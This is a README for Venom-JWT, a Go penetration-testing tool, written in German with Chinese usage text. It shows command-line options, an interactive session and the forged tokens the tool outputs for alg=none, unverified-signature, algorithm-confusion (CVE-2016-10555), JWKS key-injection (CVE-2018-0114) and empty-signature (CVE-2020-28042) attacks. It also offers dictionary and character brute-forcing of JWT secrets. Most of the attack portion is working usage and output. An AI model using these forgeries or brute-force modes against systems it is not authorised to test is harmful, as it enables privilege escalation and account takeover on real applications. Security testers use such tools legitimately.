
Ein Tool zur Schwachstellenverifizierung und zum Schlüssel-Brute-Forcing für JWT-Penetrationstests. Es generiert Ergebnisse für FUZZ im Hinblick auf CVE-2015-9235/Blank-Key-/Angriffe mit unverifizierten Signaturen/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042. Zudem kann es mittels Wörterbuch-/Zeichenenumeration (einschließlich JJWT) Brute-Force-Angriffe (JWT Crack) durchführen.
Wichtiger Hinweis: Die in diesem Dokument erwähnten Techniken, Ideen und Werkzeuge dienen ausschließlich dem Lern- und Austauschzweck im Sinne der Sicherheit. Niemand darf sie für illegale Zwecke oder zur Gewinnerzielung verwenden; andernfalls trägt der Nutzer die Konsequenzen selbst.
Ein Schwachstellenverifizierungs-/Secret-Brute-Force-Tool, das für JWT-Penetrationstests entwickelt wurde. Es generiert Ergebnisse für CVE-2015-9235 / Angriffe mit ungeprüfter Signatur / CVE-2016-10555 / CVE-2018-0114 / CVE-2020-28042, die für FUZZ verwendet werden können; alternativ kann auch per Wörterbuch/Zeichenaufzählung gebrute-forced werden.Toolvorstellung · Bedienungsanleitung · Hinweise · Technischer Austausch
Bei Penetrationstests in Firmenprojekten, insbesondere bei Projekten mit getrenntem Frontend und Backend, wird JWT häufig als Token zur Berechtigungsprüfung verwendet. Normalerweise kann man Tools wie jwt-tool verwenden, aber sie sind trotzdem nicht „alles in einem“. Deshalb habe ich mit Go ein All-in-one-Hilfstool für JWT-Penetrationstests entwickelt, um euch bei Tests auf Rechteausweitung zu unterstützen.
Was sind die Anwendungsszenarien dieses Tools?
Was sind die Vorteile dieses Tools?
# 打包
go mod tidy
cd cmd
go build.
# 命令行运行
.\cmd.exe -h
Usage of C:\Users\xxx\Venom-JWT\cmd\cmd.exe:
-df string
是否使用文件中的payload,默认为空使用角色内置字典(绑定模式2),模式3非空(绑定模式3)
-em int
secret加密模式NONE/MD5/16位MD5/BASE64(默认ALL=>0,NONE=>1,MD5=>2,16位MD5=>3,BASE64)
-fs string
爆破的默认字典,可以自行按猜测的规则修改(配合-fz 位数使用) (default "abcdefghijklmnopqrstuvwxyz0123456789")
-fz int
字符爆破最大字符数(如果字符爆破要指定位数-fz)
-jbc string
需要修改的JWT body
-jm int
模式1:(未知Secret)修改Payload越权测试 模式2: (先测试模式1)PayloadFuzz越权测试 模式3:secret文本爆破 模式4:secret字符爆破(如果字符爆破要指定位数-fz)模式5:对JWT的Secret进行验证 (default 1)
-jwt.txt string
JWT字符串
-mz int
字符爆破最小字符数(如果字符爆破要指定位数-mz),默认为1 (default 1)
-pem string
公钥pem的路径(最好绝对路径)
-pt int
选择模式:0为默认全执行,1为修改alg为none(CVE-2015-2951),2为未验证签名导致的越权,3修改非对称密码算法为对称密码算法(CVE-2016-10555) 4为JWKS公钥注入--伪造密钥(CVE-2018-0114) 5 为空签名(CVE-2020-28042)
-s string
已知Secret,默认为空
# 交互式运行
.\cmd.exe
? 【前置选择】未知secret的情况下修改JWT测试越权,请选择模式:
[·] [Use arrows to move, type to filter]
> 模式1:(未知Secret)修改Payload越权测试
模式2:(先测试模式1)PayloadFuzz越权测试
模式3:secret文本爆破
模式4:secret字符爆破
模式5:对JWT的Secret进行验证
? 请输入你的JWT字符串:
[·] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
[+]JWT Header: {"alg":"HS256","typ":"JWT"}
JWT Payload: {"iss":"admin","iat":1701375177,"exp":1701382377,"nbf":1701375177,"sub":"user","jti":"a01707f44f7df8b5cbe5e129a0f5c311"}
JWT Signature: 563a9ae6f62ff6e454aa2690a6c0f196cc067cae67dae980a7e36b634a77f5b8
? 【模式1】【模式2】未知secret的情况下修改JWT测试越权,请选择具体测试模式:
[·] [Use arrows to move, type to filter]
> 模式0:默认全执行
模式1:修改alg为none(CVE-2015-2951)
模式2:未验证签名导致的越权
模式3:修改非对称密码算法为对称密码算法(CVE-2016-10555)
模式4:JWKS公钥注入--伪造密钥(CVE-2018-0114)
模式5:空签名(CVE-2020-28042)
? 您在选择【模式1】【模式2】【模式5】中需要修改JWT的第二部分Payload中JSON字符串进行修改测试越权,请从上一步中复制Payload部分修改完后在此输入:
【模式1】【模式5】示例:{"username":"admin","role":"admin"}
【模式2】示例:{"usernmae":"admin","role":"FUZZ"}
请注意【模式2】中的FUZZ此处为字典替换位置,如果不修改可以直接为enter回车默认使用原Payload
? 请输入您搜集的公钥pem的文件路径(最好为绝对路径)
[·] C:\Users\15403\Desktop\Venom-JWT\public_key.pem
==============没secret修改Payload的越权测试===========
① 大部分情况在alg为HS256时候,可以将JWT改为none的情况(CVE-2015-9235)
[+]【alg为none】: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg为None】: eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg为NoNe】: eyJhbGciOiJOb05lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg为NONE】: eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
② 未验证签名攻击:修改Payload不校验
[+]【无效签名攻击】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
③ 修改非对称密码算法为对称密码算法(CVE-2016-10555)攻击
[+] 【修改非对称密码算法为对称密码算法】:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiIiLCJraWQiOiIiLCJ1c2UiOiIiLCJuIjoiIiwiZSI6IiJ9fQ.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.h3V6ZHHJ3tt080xFLsA4U1_Z0VT8wkLQD9I2miqIeE0
④ JWKS公钥注入--伪造密钥(CVE-2018-0114)攻击
[+]【伪造密钥】: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJleGFtcGxlQGV4YW1wbGUuY29tIiwidXNlIjoic2lnIiwibiI6IjdLVktGZXpyeTlIclRFUERUcG5Xc2V3cnZQUkNsVE1pZXNGb1BXVlFtOTRMbFpwZzhmT1puMU4zMWNMMWdMUDROTExqek42cmFfRG8tQnJyZEVNMkpSeVVpUjUxUEpKTFUyRG9TdUNZcHlhTk53TG0zNzZEY09td1VyWlJ1SVVyMmlpWWJsVVJwaXl4SVl1SzJuWVIzYzBvalZGdnNJMmluc25PZnhIaTJvWkNWdS1SeDdVQkJIdDFRUUxzUEc4MDh4cVJDTU4yd1EwYklDNVZKWkl3YzhaQnVCNnVEUXRnSFc2UjBKc0hyU1BOVk9wY2NXbHJURlpGQjV0SVhxMUhJLUh1QnZ4WW53LWRYdU1FYWZSczFkQzg5Q3FfQ1FHSnY0M2h4SzZsQlZ4bnNQYWQ2QmpGSGZrSVQxdnk4LTNfSUJMT2J0Vnp0eDQyTmFGTzhzcVZrUSIsImUiOiJBUUFCIn19.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.6yhddpQy3gxajRYCc3HQHGflqLfyN3Ettre95E_u_BYtEl7-6058CKEdQjWT8CIPD7UGz6Mktx43o8Q2R5ILzkro2TkrE7ELW0--CDCf1bot--ho8LCovybl5TZtTGbSfE5F1zPiQCPnJTnQOe438VU7-MykBVFW690B1Ymk6YbmTzVyVS3mgdE252ocGHIyoG8EEPW3u3ZYXcB9rL30-mNLKmkctPHRCE-TXv7CZtLsrwK7SJTPgBh1jKtsdfFEXtpGrHOwaG2OOk5k8CzpIbWN9rt6lp4hlVaX-5Y1WWpPRHsmBCLVytZaJ2iQtLJjaZM659_hK_w5Os6sngyVNA
⑤ 空签名(CVE-2020-28042)攻击
[+]【空签名】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
注意:所有JWT结果都已经保存在运行目录下的result.txt中,可以去重放Intruder测试是否为可行Token
① In den meisten Fällen kann bei alg=HS256 der Algorithmus auf none geändert werden (CVE-2015-9235)
② Angriff über ungeprüfte Signatur: Payload wird ohne Verifizierung geändert
③ Angriff: Änderung des asymmetrischen Verschlüsselungsalgorithmus in einen symmetrischen (CVE-2016-10555)